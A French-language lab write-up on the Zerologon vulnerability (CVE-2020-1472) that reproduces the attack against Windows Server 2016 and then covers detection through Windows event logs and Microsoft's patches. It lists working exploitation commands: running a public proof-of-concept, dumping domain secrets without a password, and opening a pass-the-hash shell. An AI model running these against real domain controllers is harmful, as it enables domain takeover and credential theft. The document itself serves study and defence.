Zerologon_CVE-2020-1472

Objectif

Cette recherche de vulnérabilité visait à établir un environnement contrôlé pour simuler un Zerologon sur Windows Server 2016 via Kali Linux à des fins de détection et d'atténuation. L'objectif principal était de réaliser une pénétration de vulnérabilité et de montrer la possibilité de contrôler un poste de travail sans se connecter en tant qu'utilisateur de ce poste, tout en détectant et en atténuant la vulnérabilité.

Compétences acquises

• Compréhension avancée de l'Observateur d'événements Windows
• Maîtrise de Kali Linux et d'Impackets
• Capacité à effectuer un zerologon

Outils utilisés

• Zerologon Codes
• Windows Server 2016
• Kali Linux

Étapes pour implémenter Zerologon

Kali Linux

1. sudo su pour passer à l'utilisateur root
2. git clone https://github.com/dirkjanm/CVE-2020-1472
3. cd /home/kali/impacket/examples/CVE-2020-1472 (Changez de répertoire selon votre répertoire)
4. /cve-2020-1472-exploit.py -n [NETBIOS] -t [IPaddress]
5. secretsdump.py -no-pass -just-dc [NETBIOS/User]$@[IP adress]
6. wmiexec.py [Domain/User@IP] - hashes [hash]

Étapes pour identifier Zerologon

Windows

IMPORTANT Désactiver la fonctionnalité de sécurité

1. Vérifiez l'Observateur d'événements
2. Sous le Gestionnaire de serveur, sélectionnez Journaux Windows, Sécurité et recherchez l'ID d'événement 4624 (Événement d'ouverture de session utilisateur) Signes d'un Zerologon

• Le sujet des journaux sera nommé NULL SID
• Cette ouverture de session devrait également se voir attribuer des droits d'administrateur.
• Vous pouvez également vérifier le journal 4742 (NT Authority est l'attaquant)

Étapes pour corriger

Microsoft a développé des correctifs disponibles pour protéger les serveurs Windows (2008, 2016 et 2019) ; c'est ainsi que cela était prévu. Dans la première phase, lors du téléchargement du premier correctif (correctif d'août), le domaine peut protéger les autres appareils connectés contre les appareils non conformes ; il y aurait une option pour protéger tous les appareils joints avec une exception explicite.

Deuxième correctif (correctif de février de l'année suivante), la phase d'application : une fois installé, tous les appareils Windows et non-Windows sont obligés d'utiliser un appel de procédure distante sécurisé avec Netlogon. Ou d'autoriser explicitement certains appareils de confiance. Essentiellement, cela exclut l'ordinateur non conforme du domaine.